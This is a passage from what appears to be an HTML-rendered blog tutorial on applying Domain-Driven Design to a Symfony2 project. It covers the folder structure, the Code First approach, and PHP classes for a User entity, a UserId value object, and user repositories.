&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nl&quot;&gt;&quot;require&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;php&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&amp;gt;=5.3.3&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;symfony/symfony&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;2.3.*&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;sensio/distribution-bundle&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;2.3.*&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;twig/extensions&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;1.0.*&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;symfony/monolog-bundle&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;2.3.*&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;incenteev/composer-parameter-handler&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;~2.0&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;sensio/framework-extra-bundle&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;~2.3&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Don’t forget to update the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AppKernel&lt;/code&gt; class accordingly. You are now ready!&lt;/p&gt;

&lt;h2 id=&quot;folder-structure&quot;&gt;Folder Structure&lt;/h2&gt;

&lt;p&gt;As Mathias Verraes stated in his blog post about &lt;a href=&quot;http://verraes.net/2011/10/code-folder-structure/&quot;&gt;Code Folder
Structures&lt;/a&gt;, most of the
usual Symfony2 project folder structures are &lt;strong&gt;not efficient&lt;/strong&gt;. That is why it
is important to spend some time designing a decent folder structure.&lt;/p&gt;

&lt;p&gt;In your case, the domain expert said &lt;em&gt;users&lt;/em&gt; are &lt;strong&gt;centrepieces&lt;/strong&gt;. The word
&lt;em&gt;User&lt;/em&gt; is part of the &lt;a href=&quot;http://martinfowler.com/bliki/UbiquitousLanguage.html&quot;&gt;Ubiquitous
Language&lt;/a&gt;, the term &lt;a href=&quot;http://www.amazon.com/gp/product/0321125215&quot;&gt;Eric
Evans&lt;/a&gt; uses in &lt;strong&gt;DDD&lt;/strong&gt; for the
practice of building up a common, rigorous language between developers and
users.&lt;/p&gt;

&lt;p&gt;At first glance, it sounds like a good idea to create a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CoreDomainBundle&lt;/code&gt; or
even a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UserBundle&lt;/code&gt; bundle that will own users related things. &lt;em&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=xoMgnJDXd3k&quot;&gt;Nein Nein Nein
Nein Nein Nein!&lt;/a&gt;&lt;/em&gt; I too often say
that &lt;strong&gt;bundles should integrate libraries&lt;/strong&gt;, and I am not the &lt;a href=&quot;http://richardmiller.co.uk/2013/06/18/symfony2-bundle-structure-bundles-as-integration-layers-for-libraries/&quot;&gt;only
one&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This also applies to your bundles, so users related stuff will better live in a
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CoreDomain&lt;/code&gt; package:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;src
└── Acme
    └── CoreDomain
        └── User
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;However, you still need a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CoreDomainBundle&lt;/code&gt; bundle in order to integrate your
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CoreDomain&lt;/code&gt; package into your Symfony2 project:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;src
└── Acme
    ├── CoreDomain
    │   └── User
    └── CoreDomainBundle
        └── AcmeCoreDomainBundle.php
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This package is part of the &lt;strong&gt;Domain Layer&lt;/strong&gt;. This layer is the &lt;strong&gt;heart&lt;/strong&gt; of
your application. &lt;strong&gt;Business rules and logic live inside this layer&lt;/strong&gt;. Business
entity state and behavior are defined and used here. Next section is about
designing this &lt;strong&gt;Domain Layer&lt;/strong&gt; using a &lt;strong&gt;Code First&lt;/strong&gt; approach.&lt;/p&gt;

&lt;h2 id=&quot;code-first&quot;&gt;Code First&lt;/h2&gt;

&lt;p&gt;The &lt;strong&gt;Code First&lt;/strong&gt; approach provides an alternative to the well-known &lt;strong&gt;Database
First&lt;/strong&gt; approach. As far as I know, it comes from the Microsoft world, but it
does not really matter.&lt;/p&gt;

&lt;p&gt;Using a Database First approach, you design your database schema, and then
generate your classes. That is how &lt;a href=&quot;http://propelorm.org&quot;&gt;Propel&lt;/a&gt; works for
instance. It is &lt;a href=&quot;http://en.wikipedia.org/wiki/Rapid_application_development&quot;&gt;RAD&lt;/a&gt;
compliant, but it does not fit the &lt;strong&gt;DDD&lt;/strong&gt; mindset.&lt;/p&gt;

&lt;p&gt;Let’s try the &lt;strong&gt;Code First&lt;/strong&gt; approach then. Basically, start by writing your
classes, think in term of objects, not tables. You don’t have to take care of
the database yet. The &lt;strong&gt;domain expert&lt;/strong&gt; said a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;User&lt;/code&gt; has an &lt;em&gt;identifier&lt;/em&gt;, a
&lt;em&gt;first name&lt;/em&gt;, and a &lt;em&gt;last name&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;User&lt;/code&gt; class is called an
&lt;a href=&quot;http://devlicio.us/blogs/casey/archive/2009/02/13/ddd-entities-and-value-objects.aspx&quot;&gt;Entity&lt;/a&gt;
in &lt;strong&gt;DDD&lt;/strong&gt; as it has an &lt;strong&gt;identity&lt;/strong&gt;. It is unique within the system.
&lt;strong&gt;Identity&lt;/strong&gt; can be represented in many ways on an entity, it could be a numeric
identifier, a &lt;a href=&quot;http://en.wikipedia.org/wiki/Globally_unique_identifier&quot;&gt;GUID&lt;/a&gt;,
or a natural key. Note that these &lt;a href=&quot;http://dddsample.sourceforge.net/characterization.html#Entities&quot;&gt;Entities&lt;/a&gt;
are not the same as the &lt;a href=&quot;http://www.doctrine-project.org/&quot;&gt;Doctrine&lt;/a&gt; ones. They
might be Doctrine classes, but they don’t have to be.&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;namespace&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Acme\CoreDomain\User&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;User&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$firstName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$lastName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__construct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;UserId&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$firstName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$lastName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;id&lt;/span&gt;        &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;firstName&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$firstName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lastName&lt;/span&gt;  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$lastName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getFirstName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;firstName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getLastName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lastName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Generally speaking, try to
&lt;a href=&quot;/2013/06/03/object-calisthenics//#9-no-getterssettersproperties&quot;&gt;avoid&lt;/a&gt;
&lt;a href=&quot;http://whitewashing.de/2012/08/22/building_an_object_model__no_setters_allowed.html&quot;&gt;setters&lt;/a&gt;
in order to make your code
&lt;a href=&quot;/2013/07/30/from-stupid-to-solid-code/#openclosed-principle&quot;&gt;solid&lt;/a&gt;.
You could use a &lt;a href=&quot;http://dddsample.sourceforge.net/characterization.html#Value_Objects&quot;&gt;Value
Object&lt;/a&gt;
to &lt;a href=&quot;/2013/06/03/object-calisthenics/#8-no-classes-with-more-than-two-instance-variables&quot;&gt;represent the name of the
user&lt;/a&gt;
but it is not mandatory.&lt;/p&gt;

&lt;p&gt;By the way, a &lt;a href=&quot;http://martinfowler.com/eaaCatalog/valueObject.html&quot;&gt;Value Object&lt;/a&gt;
is a simple object whose equality is &lt;strong&gt;not based on identity&lt;/strong&gt;, instead two
Value Objects are equal if all their fields are equal. Value Objects can be a
Money or date range object. Their key property is that they follow value
semantics rather than reference semantics. &lt;a href=&quot;http://www.codeproject.com/Articles/339725/Domain-Driven-Design-Clear-Your-Concepts-Before-Yo&quot;&gt;They don’t however have any value
other than by virtue of their
attributes&lt;/a&gt;.
Also, &lt;a href=&quot;http://c2.com/cgi/wiki?ValueObjectsShouldBeImmutable&quot;&gt;Value Objects should be
immutable&lt;/a&gt;. If you want to
change a Value Object you should replace the object with a new one.&lt;/p&gt;

&lt;p&gt;As you might noticed, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;User&lt;/code&gt; identifier is represented by a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UserId&lt;/code&gt;
instance, not a scalar type because you don’t know which type to use. Will it be
a numeric identifier or a GUID? You don’t know yet. Also, instead of passing IDs
everywhere, having a class for them makes this very explicit. This &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UserId&lt;/code&gt;
class is your very first &lt;strong&gt;Value Object&lt;/strong&gt;:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;namespace&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Acme\CoreDomain\User&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;UserId&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__construct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The domain expert said the application will manage &lt;strong&gt;users&lt;/strong&gt;, so your
application will deal with a &lt;strong&gt;collection&lt;/strong&gt; of users. In &lt;strong&gt;DDD&lt;/strong&gt;, a collection
can be implemented by using the
&lt;a href=&quot;http://martinfowler.com/eaaCatalog/repository.html&quot;&gt;Repository&lt;/a&gt; design pattern.&lt;/p&gt;

&lt;p&gt;A Repository mediates between the domain and data mapping using a
&lt;strong&gt;collection-like interface&lt;/strong&gt; for accessing domain objects. It is &lt;strong&gt;not&lt;/strong&gt; a Data
Access Layer though, as it deals with Entities and Value Objects. Note that there
are &lt;a href=&quot;http://lostechies.com/jimmybogard/2009/09/03/ddd-repository-implementation-patterns/&quot;&gt;various Repository implementation
patterns&lt;/a&gt;
but, in your case, here is how your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UserRepository&lt;/code&gt; interface should look like:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;namespace&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Acme\CoreDomain\User&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;interface&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;UserRepository&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;find&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;UserId&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$userId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;findAll&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;User&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;remove&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;User&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You should end up with the following folder structure:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;src
└── Acme
    ├── CoreDomain
    │   └── User
    │       ├── User.php
    │       ├── UserId.php
    │       └── UserRepository.php
    └── CoreDomainBundle
        └── AcmeCoreDomainBundle.php
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now that you have a decent &lt;strong&gt;Domain Layer&lt;/strong&gt; with Entities, Value Objects, and
Repositories, let’s wire it to your Symfony2 application. Note that your
&lt;strong&gt;Domain Layer&lt;/strong&gt; is &lt;strong&gt;reusable&lt;/strong&gt;, and loosely coupled. That is really important!&lt;/p&gt;

&lt;h2 id=&quot;the-infrastructure-layer&quot;&gt;The Infrastructure Layer&lt;/h2&gt;

&lt;p&gt;In a &lt;strong&gt;Code First&lt;/strong&gt; approach, you can &lt;strong&gt;delay the decision&lt;/strong&gt; to choose a
persistence layer. The main advantage is to be able to write some other parts of
the application without having to wait.&lt;/p&gt;

&lt;p&gt;You can create a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;InMemoryUserRepository&lt;/code&gt; class that implements the
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UserRepository&lt;/code&gt; interface which contains hardcoded objects:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;namespace&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Acme\CoreDomainBundle\Repository&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Acme\CoreDomain\User\User&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Acme\CoreDomain\User\UserId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Acme\CoreDomain\User\UserRepository&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;InMemoryUserRepository&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;implements&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;UserRepository&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$users&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__construct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;users&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;UserId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;8CE05088-ED1F-43E9-A415-3B3792655A9B&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;John&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;Doe&apos;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;users&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;UserId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;62A0CEB4-0403-4AA6-A6CD-1EE808AD4D23&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;Jean&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;Bon&apos;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;find&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;UserId&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$userId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;findAll&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
